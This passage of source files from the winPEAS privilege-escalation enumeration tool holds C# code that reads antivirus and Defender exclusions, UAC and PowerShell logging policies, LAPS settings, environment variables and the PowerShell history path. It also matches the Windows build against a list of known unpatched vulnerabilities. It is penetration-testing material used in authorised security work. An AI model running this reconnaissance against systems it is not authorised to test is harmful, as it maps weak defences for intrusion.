results.Add(res);\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n\n        //From https://stackoverflow.com/questions/1331887/detect-antivirus-on-windows-using-c-sharp\n        public static Dictionary<string, string> GetAVInfo()\n        {\n            Dictionary<string, string> results = new Dictionary<string, string>();\n            string whitelistpaths = \"\";\n\n            try\n            {\n                var keys = RegistryHelper.GetRegValues(\"HKLM\", @\"SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths\");\n                if (keys != null)\n                    whitelistpaths = String.Join(\"\\n    \", keys.Keys);\n\n                using (ManagementObjectSearcher wmiData = new ManagementObjectSearcher(@\"root\\SecurityCenter2\", \"SELECT * FROM AntiVirusProduct\"))\n                {\n                    using (var data = wmiData.Get())\n                    {\n                        foreach (ManagementObject virusChecker in data)\n                        {\n                            results[\"Name\"] = (string)virusChecker[\"displayName\"];\n                            results[\"ProductEXE\"] = (string)virusChecker[\"pathToSignedProductExe\"];\n                            results[\"pathToSignedReportingExe\"] = (string)virusChecker[\"pathToSignedReportingExe\"];\n                        }\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            if (!string.IsNullOrEmpty(whitelistpaths))\n            {\n                results[\"whitelistpaths\"] = \"    \" + whitelistpaths; //Add this info the last\n            }\n\n            return results;\n        }\n\n        //From Seatbelt\n        public static Dictionary<string, string> GetUACSystemPolicies()\n        {\n            Dictionary<string, string> results = new Dictionary<string, string>();\n\n            try\n            {\n                string ConsentPromptBehaviorAdmin = RegistryHelper.GetRegValue(\"HKLM\", \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\", \"ConsentPromptBehaviorAdmin\");\n                results[\"ConsentPromptBehaviorAdmin\"] = ConsentPromptBehaviorAdmin switch\n                {\n                    \"0\" => $\"{ConsentPromptBehaviorAdmin} - No prompting\",\n                    \"1\" => $\"{ConsentPromptBehaviorAdmin} - PromptOnSecureDesktop\",\n                    \"2\" => $\"{ConsentPromptBehaviorAdmin} - PromptPermitDenyOnSecureDesktop\",\n                    \"3\" => $\"{ConsentPromptBehaviorAdmin} - PromptForCredsNotOnSecureDesktop\",\n                    \"4\" => $\"{ConsentPromptBehaviorAdmin} - PromptForPermitDenyNotOnSecureDesktop\",\n                    \"5\" => $\"{ConsentPromptBehaviorAdmin} - PromptForNonWindowsBinaries\",\n                    _ => $\"{ConsentPromptBehaviorAdmin} - PromptForNonWindowsBinaries\",\n                };\n                string EnableLUA = RegistryHelper.GetRegValue(\"HKLM\", \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\", \"EnableLUA\");\n                results[\"EnableLUA\"] = EnableLUA;\n\n                string LocalAccountTokenFilterPolicy = RegistryHelper.GetRegValue(\"HKLM\", \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\", \"LocalAccountTokenFilterPolicy\");\n                results[\"LocalAccountTokenFilterPolicy\"] = LocalAccountTokenFilterPolicy;\n\n                string FilterAdministratorToken = RegistryHelper.GetRegValue(\"HKLM\", \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\", \"FilterAdministratorToken\");\n                results[\"FilterAdministratorToken\"] = FilterAdministratorToken;\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n\n        //From Seatbelt\n        public static Dictionary<string, string> GetPowerShellSettings()\n        {\n            Dictionary<string, string> results = new Dictionary<string, string>();\n\n            try\n            {\n                results[\"PowerShell v2 Version\"] = RegistryHelper.GetRegValue(\"HKLM\", \"SOFTWARE\\\\Microsoft\\\\PowerShell\\\\1\\\\PowerShellEngine\", \"PowerShellVersion\");\n                results[\"PowerShell v5 Version\"] = RegistryHelper.GetRegValue(\"HKLM\", \"SOFTWARE\\\\Microsoft\\\\PowerShell\\\\3\\\\PowerShellEngine\", \"PowerShellVersion\");\n                results[\"PowerShell Core Version\"] = string.Join(\", \", GetPowerShellCoreVersions());\n                results[\"Transcription Settings\"] = \"\";\n                results[\"Module Logging Settings\"] = \"\";\n                results[\"Scriptblock Logging Settings\"] = \"\";\n                results[\"PS history file\"] = \"\";\n                results[\"PS history size\"] = \"\";\n\n                Dictionary<string, object> transcriptionSettingsCU = RegistryHelper.GetRegValues(\"HKCU\",\n                    \"SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell\\\\Transcription\");\n                if ((transcriptionSettingsCU == null) || (transcriptionSettingsCU.Count == 0))\n                    transcriptionSettingsCU = RegistryHelper.GetRegValues(\"HKCU\", @\"HKLM\\SOFTWARE\\Wow6432Node\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription\");\n\n                if ((transcriptionSettingsCU != null) && (transcriptionSettingsCU.Count != 0))\n                {\n                    foreach (KeyValuePair<string, object> kvp in transcriptionSettingsCU)\n                    {\n                        results[\"Transcription Settings CU\"] += string.Format(\"  {0,30} : {1}\\r\\n\", kvp.Key, kvp.Value);\n                    }\n                }\n\n                Dictionary<string, object> transcriptionSettingsLM = RegistryHelper.GetRegValues(\"HKLM\",\n                    \"SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell\\\\Transcription\");\n\n                if ((transcriptionSettingsLM == null) || (transcriptionSettingsLM.Count == 0))\n                {\n                    transcriptionSettingsLM = RegistryHelper.GetRegValues(\"HKLM\", @\"HKLM\\SOFTWARE\\Wow6432Node\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription\");\n                }\n\n                if ((transcriptionSettingsLM != null) && (transcriptionSettingsLM.Count != 0))\n                {\n                    foreach (KeyValuePair<string, object> kvp in transcriptionSettingsLM)\n                    {\n                        results[\"Transcription Settings LM\"] += $\"  {kvp.Key,30} : {kvp.Value}\\r\\n\";\n                    }\n                }\n\n                Dictionary<string, object> moduleLoggingSettingsLM = RegistryHelper.GetRegValues(\"HKLM\", \"SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell\\\\ModuleLogging\");\n                if ((moduleLoggingSettingsLM == null) || (moduleLoggingSettingsLM.Count == 0))\n                    moduleLoggingSettingsLM = RegistryHelper.GetRegValues(\"HKLM\", @\"SOFTWARE\\Wow6432Node\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging\");\n\n                if ((moduleLoggingSettingsLM != null) && (moduleLoggingSettingsLM.Count != 0))\n                {\n                    foreach (KeyValuePair<string, object> kvp in moduleLoggingSettingsLM)\n                    {\n                        results[\"Module Logging Settings\"] += $\"  {kvp.Key,30} : {kvp.Value}\\r\\n\";\n                    }\n                }\n\n                Dictionary<string, object> moduleLoggingSettingsCU = RegistryHelper.GetRegValues(\"HKCU\", \"SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell\\\\ModuleLogging\");\n                if ((moduleLoggingSettingsCU == null) || (moduleLoggingSettingsCU.Count == 0))\n                    moduleLoggingSettingsCU = RegistryHelper.GetRegValues(\"HKCU\", @\"SOFTWARE\\Wow6432Node\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging\");\n\n                if ((moduleLoggingSettingsCU != null) && (moduleLoggingSettingsCU.Count != 0))\n                {\n                    foreach (KeyValuePair<string, object> kvp in moduleLoggingSettingsCU)\n                    {\n                        results[\"Module Logging Settings CU\"] += $\"  {kvp.Key,30} : {kvp.Value}\\r\\n\";\n                    }\n                }\n\n                Dictionary<string, object> scriptBlockSettingsLM = RegistryHelper.GetRegValues(\"HKLM\", \"SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell\\\\ScriptBlockLogging\");\n                if ((scriptBlockSettingsLM == null) || (scriptBlockSettingsLM.Count == 0))\n                    scriptBlockSettingsLM = RegistryHelper.GetRegValues(\"HKLM\", @\"SOFTWARE\\Wow6432Node\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\");\n\n                if ((scriptBlockSettingsLM != null) && (scriptBlockSettingsLM.Count != 0))\n                {\n                    foreach (KeyValuePair<string, object> kvp in scriptBlockSettingsLM)\n                    {\n                        results[\"Scriptblock Logging Settings LM\"] = $\"  {kvp.Key,30} : {kvp.Value}\\r\\n\";\n                    }\n                }\n\n                Dictionary<string, object> scriptBlockSettingsCU = RegistryHelper.GetRegValues(\"HKCU\", \"SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell\\\\ScriptBlockLogging\");\n                if ((scriptBlockSettingsCU == null) || (scriptBlockSettingsCU.Count == 0))\n                    scriptBlockSettingsCU = RegistryHelper.GetRegValues(\"HKCU\", @\"SOFTWARE\\Wow6432Node\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\");\n\n                if ((scriptBlockSettingsCU != null) && (scriptBlockSettingsCU.Count != 0))\n                {\n                    foreach (KeyValuePair<string, object> kvp in scriptBlockSettingsCU)\n                    {\n                        results[\"Scriptblock Logging Settings CU\"] = $\"  {kvp.Key,30} : {kvp.Value}\\r\\n\";\n                    }\n                }\n\n                string ps_history_path = Environment.ExpandEnvironmentVariables(@\"%APPDATA%\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt\");\n                string ps_history_path2 =\n                    $\"{Environment.GetEnvironmentVariable(\"USERPROFILE\")}\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\PowerShell\\\\PSReadline\\\\ConsoleHost_history.txt\";\n                ps_history_path = File.Exists(ps_history_path) ? ps_history_path : ps_history_path2;\n                if (File.Exists(ps_history_path))\n                {\n                    FileInfo fi = new FileInfo(ps_history_path);\n                    long size = fi.Length;\n                    results[\"PS history file\"] = ps_history_path;\n                    results[\"PS history size\"] = size.ToString() + \"B\";\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n\n        private static IEnumerable<string> GetPowerShellCoreVersions()\n        {\n            var keys = RegistryHelper.GetRegSubkeys(\"HKLM\", @\"SOFTWARE\\Microsoft\\PowerShellCore\\InstalledVersions\\\") ?? new string[] { };\n\n            return keys.Select(key =>\n                RegistryHelper.GetRegValue(\"HKLM\", @\"SOFTWARE\\Microsoft\\PowerShellCore\\InstalledVersions\\\" + key, \"SemanticVersion\"))\n                              .Where(version => version != null).ToList();\n        }\n\n        // From seatbelt\n        public static Dictionary<string, string> GetAuditSettings()\n        {\n            Dictionary<string, string> results = new Dictionary<string, string>();\n            try\n            {\n                Dictionary<string, object> settings = RegistryHelper.GetRegValues(\"HKLM\", \"Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\Audit\");\n                if ((settings != null) && (settings.Count != 0))\n                {\n                    foreach (KeyValuePair<string, object> kvp in settings)\n                    {\n                        if (kvp.Value.GetType().IsArray && (kvp.Value.GetType().GetElementType().ToString() == \"System.String\"))\n                        {\n                            string result = string.Join(\",\", (string[])kvp.Value);\n                            results.Add(kvp.Key, result);\n                        }\n                        else\n                        {\n                            results.Add(kvp.Key, (string)kvp.Value);\n                        }\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n\n        //From Seatbelt\n        public static Dictionary<string, string> GetWEFSettings()\n        {\n            Dictionary<string, string> results = new Dictionary<string, string>();\n            try\n            {\n                Dictionary<string, object> settings = RegistryHelper.GetRegValues(\"HKLM\", \"Software\\\\Policies\\\\Microsoft\\\\Windows\\\\EventLog\\\\EventForwarding\\\\SubscriptionManager\");\n                if ((settings != null) && (settings.Count != 0))\n                {\n                    foreach (KeyValuePair<string, object> kvp in settings)\n                    {\n                        if (kvp.Value.GetType().IsArray && (kvp.Value.GetType().GetElementType().ToString() == \"System.String\"))\n                        {\n                            string result = string.Join(\",\", (string[])kvp.Value);\n                            results.Add(kvp.Key, result);\n                        }\n                        else\n                        {\n                            results.Add(kvp.Key, (string)kvp.Value);\n                        }\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n\n        //From Seatbelt\n        public static Dictionary<string, string> GetLapsSettings()\n        {\n            Dictionary<string, string> results = new Dictionary<string, string>();\n            try\n            {\n                string AdmPwdEnabled = RegistryHelper.GetRegValue(\"HKLM\", \"Software\\\\Policies\\\\Microsoft Services\\\\AdmPwd\", \"AdmPwdEnabled\");\n\n                if (AdmPwdEnabled != \"\")\n                {\n                    results[\"LAPS Enabled\"] = AdmPwdEnabled;\n                    results[\"LAPS Admin Account Name\"] = RegistryHelper.GetRegValue(\"HKLM\", \"Software\\\\Policies\\\\Microsoft Services\\\\AdmPwd\", \"AdminAccountName\");\n                    results[\"LAPS Password Complexity\"] = RegistryHelper.GetRegValue(\"HKLM\", \"Software\\\\Policies\\\\Microsoft Services\\\\AdmPwd\", \"PasswordComplexity\");\n                    results[\"LAPS Password Length\"] = RegistryHelper.GetRegValue(\"HKLM\", \"Software\\\\Policies\\\\Microsoft Services\\\\AdmPwd\", \"PasswordLength\");\n                    results[\"LAPS Expiration Protection Enabled\"] = RegistryHelper.GetRegValue(\"HKLM\", \"Software\\\\Policies\\\\Microsoft Services\\\\AdmPwd\", \"PwdExpirationProtectionEnabled\");\n                }\n                else\n                {\n                    results[\"LAPS Enabled\"] = \"LAPS not installed\";\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n\n        //From Seatbelt\n        public static Dictionary<string, string> GetUserEnvVariables()\n        {\n            Dictionary<string, string> result = new Dictionary<string, string>();\n            try\n            {\n                foreach (System.Collections.DictionaryEntry env in Environment.GetEnvironmentVariables())\n                    result[(string)env.Key] = (string)env.Value;\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return result;\n        }\n\n        //From Seatbelt\n        public static Dictionary<string, string> GetSystemEnvVariables()\n        {\n            Dictionary<string, string> result = new Dictionary<string, string>();\n            try\n            {\n                Dictionary<string, object> settings = RegistryHelper.GetRegValues(\"HKLM\", \"SYSTEM\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\Environment\");\n                if ((settings != null) && (settings.Count != 0))\n                {\n                    foreach (KeyValuePair<string, object> kvp in settings)\n                    {\n                        result[kvp.Key] = (string)kvp.Value;\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return result;\n        }\n\n        //From Seatbelt\n        public static Dictionary<string, string> GetInternetSettings(string root_reg)\n        {\n            // lists user/system internet settings, including default proxy info\n            Dictionary<string, string> results = new Dictionary<string, string>();\n            try\n            {\n                Dictionary<string, object> proxySettings = RegistryHelper.GetRegValues(root_reg, \"Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\");\n                if ((proxySettings != null) && (proxySettings.Count != 0))\n                {\n                    foreach (KeyValuePair<string, object> kvp in proxySettings)\n                    {\n                        results[kvp.Key] = kvp.Value.ToString();\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/SystemInfo/WindowsDefender/AsrRule.cs",
    "content": "﻿using System;\n\nnamespace winPEAS.Info.SystemInfo.WindowsDefender\n{\n    internal class AsrRule\n    {\n        public Guid Rule { get; private set; }\n        public int State { get; private set; }\n\n        public AsrRule(Guid rule, int state)\n        {\n            Rule = rule;\n            State = state;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/SystemInfo/WindowsDefender/AsrSettings.cs",
    "content": "﻿using System.Collections.Generic;\n\nnamespace winPEAS.Info.SystemInfo.WindowsDefender\n{\n    internal class AsrSettings\n    {\n        public bool Enabled { get; }\n        public IList<AsrRule> Rules { get; } = new List<AsrRule>();\n        public IList<string> Exclusions { get; } = new List<string>();\n\n        public AsrSettings(bool enabled)\n        {\n            Enabled = enabled;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/SystemInfo/WindowsDefender/WindowsDefender.cs",
    "content": "﻿namespace winPEAS.Info.SystemInfo.WindowsDefender\n{\n    internal class WindowsDefender\n    {\n        public static WindowsDefenderSettingsInfo GetDefenderSettingsInfo()\n        {\n            return new WindowsDefenderSettingsInfo(\n                new WindowsDefenderSettings(@\"SOFTWARE\\Microsoft\\Windows Defender\\\"),\n                new WindowsDefenderSettings(@\"SOFTWARE\\Policies\\Microsoft\\Windows Defender\\\")\n            );\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/SystemInfo/WindowsDefender/WindowsDefenderSettings.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing winPEAS.Helpers.Registry;\n\nnamespace winPEAS.Info.SystemInfo.WindowsDefender\n{\n    internal class WindowsDefenderSettings\n    {\n        public IList<string> PathExclusions { get; }\n        public IList<string> PolicyManagerPathExclusions { get; }\n        public IList<string> ProcessExclusions { get; }\n        public IList<string> ExtensionExclusions { get; }\n        public AsrSettings AsrSettings { get; }\n\n        public WindowsDefenderSettings(string defenderBaseKeyPath)\n        {\n            PathExclusions = new List<string>();\n            var pathExclusionData = RegistryHelper.GetRegValues(\"HKLM\", $\"{defenderBaseKeyPath}\\\\Exclusions\\\\Paths\");\n            if (pathExclusionData != null)\n            {\n                foreach (var kvp in pathExclusionData)\n                {\n                    PathExclusions.Add(kvp.Key);\n                }\n            }\n\n            PolicyManagerPathExclusions = new List<string>();\n            var excludedPaths = RegistryHelper.GetRegValue(\"HKLM\", $\"{defenderBaseKeyPath}\\\\Policy Manager\", \"ExcludedPaths\");\n            if (excludedPaths != null)\n            {\n                foreach (var s in excludedPaths.Split('|'))\n                {\n                    PolicyManagerPathExclusions.Add(s);\n                }\n            }\n\n            ProcessExclusions = new List<string>();\n            var processExclusionData = RegistryHelper.GetRegValues(\"HKLM\", $\"{defenderBaseKeyPath}\\\\Exclusions\\\\Processes\");\n            if (processExclusionData != null)\n            {\n                foreach (var kvp in processExclusionData)\n                {\n                    ProcessExclusions.Add(kvp.Key);\n                }\n            }\n\n            ExtensionExclusions = new List<string>();\n            var extensionExclusionData = RegistryHelper.GetRegValues(\"HKLM\", $\"{defenderBaseKeyPath}\\\\Exclusions\\\\Extensions\");\n            if (extensionExclusionData != null)\n            {\n                foreach (var kvp in extensionExclusionData)\n                {\n                    ExtensionExclusions.Add(kvp.Key);\n                }\n            }\n\n            var asrKeyPath = $\"{defenderBaseKeyPath}\\\\Windows Defender Exploit Guard\\\\ASR\";\n            var asrEnabled = RegistryHelper.GetRegValue(\"HKLM\", asrKeyPath, \"ExploitGuard_ASR_Rules\");\n\n            AsrSettings = new AsrSettings(\n                !string.IsNullOrEmpty(asrEnabled) && (asrEnabled != \"0\")\n                );\n\n            var rules = RegistryHelper.GetRegValues(\"HKLM\", $\"{asrKeyPath}\\\\Rules\");\n            if (rules != null)\n            {\n                foreach (var value in rules)\n                {\n                    AsrSettings.Rules.Add(new AsrRule(\n                        new Guid(value.Key),\n                        int.Parse((string)value.Value)\n                    ));\n                }\n            }\n\n            var exclusions = RegistryHelper.GetRegValues(\"HKLM\", $\"{asrKeyPath}\\\\ASROnlyExclusions\");\n            if (exclusions != null)\n            {\n                foreach (var value in exclusions)\n                {\n                    AsrSettings.Exclusions.Add(value.Key);\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/SystemInfo/WindowsDefender/WindowsDefenderSettingsInfo.cs",
    "content": "﻿namespace winPEAS.Info.SystemInfo.WindowsDefender\n{\n    class WindowsDefenderSettingsInfo\n    {\n        public WindowsDefenderSettings LocalSettings { get; set; }\n        public WindowsDefenderSettings GroupPolicySettings { get; set; }\n\n        public WindowsDefenderSettingsInfo(WindowsDefenderSettings localSettings, WindowsDefenderSettings groupPolicySettings)\n        {\n            LocalSettings = localSettings;\n            GroupPolicySettings = groupPolicySettings;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/SystemInfo/WindowsVersionVulns.cs",
    "content": "using System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Linq;\nusing System.Reflection;\nusing System.Text.RegularExpressions;\nusing System.Web.Script.Serialization;\n\nnamespace winPEAS.Info.SystemInfo\n{\n    internal class WindowsVersionVulns\n    {\n        private const string DefinitionsFileName = \"windows_version_exploits.json\";\n        private static readonly object _cacheLock = new object();\n        private static WindowsVersionDefinitions _cachedDefinitions;\n\n        private static readonly SortedDictionary<int, string> BuildNumbers = new SortedDictionary<int, string>\n        {\n            { 10240, \"1507\" },\n            { 10586, \"1511\" },\n            { 14393, \"1607\" },\n            { 15063, \"1703\" },\n            { 16299, \"1709\" },\n            { 17134, \"1803\" },\n            { 17763, \"1809\" },\n            { 18362, \"1903\" },\n            { 18363, \"1909\" },\n            { 19041, \"2004\" },\n            { 19042, \"20H2\" },\n            { 19043, \"21H1\" },\n            { 19044, \"21H2\" },\n            { 19045, \"22H2\" },\n            { 20348, \"21H2\" },\n            { 22000, \"21H2\" },\n            { 22621, \"22H2\" },\n            { 22631, \"23H2\" },\n            { 26100, \"24H2\" },\n        };\n\n        internal static WindowsVersionVulnReport GetVulnerabilityReport(Dictionary<string, string> basicInfo)\n        {\n            var report = new WindowsVersionVulnReport();\n            var definitions = LoadDefinitions();\n            if (definitions == null || definitions.products == null)\n            {\n                return report;\n            }\n\n            report.DefinitionsDate = definitions.generated ?? \"\";\n            report.CandidateProducts = BuildCandidateProducts(basicInfo);\n            var installedHotfixes = GetInstalledHotfixes(basicInfo);\n            report.InstalledHotfixesCount = installedHotfixes.Count;\n\n            var matchedProducts = new HashSet<string>(StringComparer.OrdinalIgnoreCase);\n            var matchedEntries = new List<WindowsVersionVulnEntry>();\n\n            foreach (var candidate in report.CandidateProducts)\n            {\n                AddProductMatches(definitions.products, candidate, matchedProducts, matchedEntries);\n            }\n\n            report.MatchedProducts = matchedProducts.OrderBy(p => p).ToList();\n            report.TotalMatchedBeforeFiltering = matchedEntries.Count;\n\n            var filteredVulns = FilterPatchedVulnerabilities(matchedEntries, installedHotfixes, definitions.kb_supersedes);\n            var vulnById = new Dictionary<string, WindowsVersionVulnEntry>(StringComparer.OrdinalIgnoreCase);\n            AddEntries(filteredVulns, vulnById);\n\n            report.Vulnerabilities = vulnById.Values\n                .OrderByDescending(v => GetSeverityPriority(v.severity))\n                .ThenBy(v => string.IsNullOrEmpty(v.cve) ? v.kb : v.cve, StringComparer.OrdinalIgnoreCase)\n                .ToList();\n            report.FilteredByPatches = report.TotalMatchedBeforeFiltering - report.Vulnerabilities.Count;\n\n            return report;\n        }\n\n        private static void AddProductMatches(\n            Dictionary<string, List<WindowsVersionVulnEntry>> products,\n            string candidate,\n            HashSet<string> matchedProducts,\n            List<WindowsVersionVulnEntry> matchedEntries)\n        {\n            if (string.IsNullOrWhiteSpace(candidate))\n            {\n                return;\n            }\n\n            var candidateVariants = new HashSet<string>(StringComparer.OrdinalIgnoreCase)\n            {\n                candidate,\n                candidate.Replace(\" Systems\", \" systems\"),\n                candidate.Replace(\" systems\", \" Systems\")\n            };\n\n            foreach (var candidateVariant in candidateVariants)\n            {\n                if (products.TryGetValue(candidateVariant, out var exactEntries))\n                {\n                    matchedProducts.Add(candidateVariant);\n                    matchedEntries.AddRange(exactEntries);\n                }\n            }\n\n            if (!candidate.StartsWith(\"Windows Server \", StringComparison.OrdinalIgnoreCase))\n            {\n                return;\n            }\n\n            foreach (var kv in products)\n            {\n                if (kv.Key.StartsWith(candidate, StringComparison.OrdinalIgnoreCase))\n                {\n                    matchedProducts.Add(kv.Key);\n                    matchedEntries.AddRange(kv.Value);\n                }\n            }\n        }\n\n        private static void AddEntries(IEnumerable<WindowsVersionVulnEntry> entries, Dictionary<string, WindowsVersionVulnEntry> vulnById)\n        {\n            foreach (var entry in entries ?? Enumerable.Empty<WindowsVersionVulnEntry>())\n            {\n                var key = !string.IsNullOrWhiteSpace(entry.cve) ? entry.cve : $\"KB{entry.kb}\";\n                if (string.IsNullOrWhiteSpace(key))\n                {\n                    continue;\n                }\n\n                if (!vulnById.ContainsKey(key))\n                {\n                    vulnById[key] = entry;\n                }\n            }\n        }\n\n        private static int GetSeverityPriority(string severity)\n        {\n            switch ((severity ?? \"\").Trim().ToLowerInvariant())\n            {\n                case \"critical\":\n                    return 4;\n                case \"important\":\n                    return 3;\n                case \"moderate\":\n                    return 2;\n                case \"low\":\n                    return 1;\n                default:\n                    return 0;\n            }\n        }\n\n        private static HashSet<string> GetInstalledHotfixes(Dictionary<string, string> basicInfo)\n        {\n            var hotfixes = new HashSet<string>(StringComparer.OrdinalIgnoreCase);\n            string text = GetValue(basicInfo, \"Hotfixes\");\n            if (string.IsNullOrWhiteSpace(text))\n            {\n                return hotfixes;\n            }\n\n            foreach (Match match in Regex.Matches(text, @\"KB(\\d+)\", RegexOptions.IgnoreCase))\n            {\n                hotfixes.Add(match.Groups[1].Value);\n            }\n\n            return hotfixes;\n        }\n\n        private static List<WindowsVersionVulnEntry> FilterPatchedVulnerabilities(\n            List<WindowsVersionVulnEntry> entries,\n            HashSet<string> installedHotfixes,\n            Dictionary<string, List<string>> kbSupersedes)\n        {\n            if (entries.Count == 0)\n            {\n                return entries;\n            }\n\n            var suppressed = ExpandSupersededHotfixes(installedHotfixes, kbSupersedes);\n            return entries\n                .Where(entry =>\n                {\n                    if (string.IsNullOrWhiteSpace(entry.kb))\n                    {\n                        return true;\n                    }\n                    return !suppressed.Contains(entry.kb);\n                })\n                .ToList();\n        }\n\n        private static HashSet<string> ExpandSupersededHotfixes(HashSet<string> installedHotfixes, Dictionary<string, List<string>> kbSupersedes)\n        {\n            var suppressed = new HashSet<string>(installedHotfixes, StringComparer.OrdinalIgnoreCase);\n            if (kbSupersedes == null || kbSupersedes.Count == 0)\n            {\n                return suppressed;\n            }\n\n            var queue = new Queue<string>(installedHotfixes);\n            while (queue.Count > 0)\n            {\n                var current = queue.Dequeue();\n                if (!kbSupersedes.TryGetValue(current, out var children) || children == null)\n                {\n                    continue;\n                }\n\n                foreach (var child in children)\n                {\n                    if (suppressed.Add(child))\n                    {\n                        queue.Enqueue(child);\n                    }\n                }\n            }\n\n            return suppressed;\n        }\n\n        private static List<string> BuildCandidateProducts(Dictionary<string, string> basicInfo)\n        {\n            var candidates = new List<string>();\n            string osName = GetValue(basicInfo, \"OS Name\");\n            string productName = GetValue(basicInfo, \"ProductName\");\n            string osVersion = GetValue(basicInfo, \"OS Version\");\n            string systemType = GetValue(basicInfo, \"System Type\");\n            string text = $\"{osName} {productName}\";\n\n            string arch = GetArchitectureLabel(systemType);\n            string servicePack = GetServicePack(osVersion);\n            int build = GetBuildNumber(osVersion);\n            string clientVersion = GetVersionFromBuild(build);\n\n            if (Contains(text, \"Windows 11\") && !string.IsNullOrEmpty(clientVersion))\n            {\n                candidates.Add($\"Windows 11 Version {clientVersion} for {arch} Systems\");\n            }\n            if (Contains(text, \"Windows 10\") && !string.IsNullOrEmpty(clientVersion))\n            {\n                candidates.Add($\"Windows 10 Version {clientVersion} for {arch} Systems\");\n            }\n            if (Contains(text, \"Windows 8.1\"))\n            {\n                candidates.Add($\"Windows 8.1 for {arch} systems\");\n                candidates.Add($\"Windows 8.1 for {arch} Systems\");\n            }\n            if (Contains(text, \"Windows 8\") && !Contains(text, \"Windows 8.1\"))\n            {\n                candidates.Add($\"Windows 8 for {arch} Systems\");\n            }\n            if (Contains(text, \"Windows 7\"))\n            {\n                string win7 = $\"Windows 7 for {arch} Systems\";\n                if (!string.IsNullOrEmpty(servicePack))\n                {\n                    win7 += $\" Service Pack {servicePack}\";\n                }\n                candidates.Add(win7);\n            }\n\n            AddServerCandidates(candidates, text, build, arch, servicePack);\n\n            return candidates\n                .Where(c => !string.IsNullOrWhiteSpace(c))\n                .Distinct(StringComparer.OrdinalIgnoreCase)\n                .ToList();\n        }\n\n        private static void AddServerCandidates(List<string> candidates, string productText, int build, string arch, string servicePack)\n        {\n            string serverName = \"\";\n            if (Contains(productText, \"Server 2025\")) serverName = \"2025\";\n            else if (Contains(productText, \"Server 2022\")) serverName = \"2022\";\n            else if (Contains(productText, \"Server 2019\")) serverName = \"2019\";\n            else if (Contains(productText, \"Server 2016\")) serverName = \"2016\";\n            else if (Contains(productText, \"Server 2012 R2\")) serverName = \"2012 R2\";\n            else if (Contains(productText, \"Server 2012\")) serverName = \"2012\";\n            else if (Contains(productText, \"Server 2008 R2\")) serverName = \"2008 R2\";\n            else if (Contains(productText, \"Server 2008\")) serverName = \"2008\";\n            else if (Contains(productText, \"Server 2003 R2\")) serverName = \"2003 R2\";\n            else if (Contains(productText, \"Server 2003\")) serverName = \"2003\";\n\n            if (string.IsNullOrEmpty(serverName))\n            {\n                if (build >= 26100) serverName = \"2025\";\n                else if (build >= 20348) serverName = \"2022\";\n                else if (build >= 17763) serverName = \"2019\";\n                else if (build >= 14393) serverName = \"2016\";\n            }\n\n            if (string.IsNullOrEmpty(serverName))\n            {\n                return;\n            }\n\n            if (serverName == \"2008\" || serverName == \"2008 R2\")\n            {\n                string item = $\"Windows Server {serverName} for {arch} Systems\";\n                if (!string.IsNullOrEmpty(servicePack))\n                {\n                    item += $\" Service Pack {servicePack}\";\n                }\n                candidates.Add(item);\n                candidates.Add(item + \" (Server Core installation)\");\n                return;\n            }\n\n            candidates.Add($\"Windows Server {serverName}\");\n            candidates.Add($\"Windows Server {serverName} (Server Core installation)\");\n        }\n\n        private static string GetArchitectureLabel(string systemType)\n        {\n            string value = (systemType ?? \"\").ToLowerInvariant();\n            if 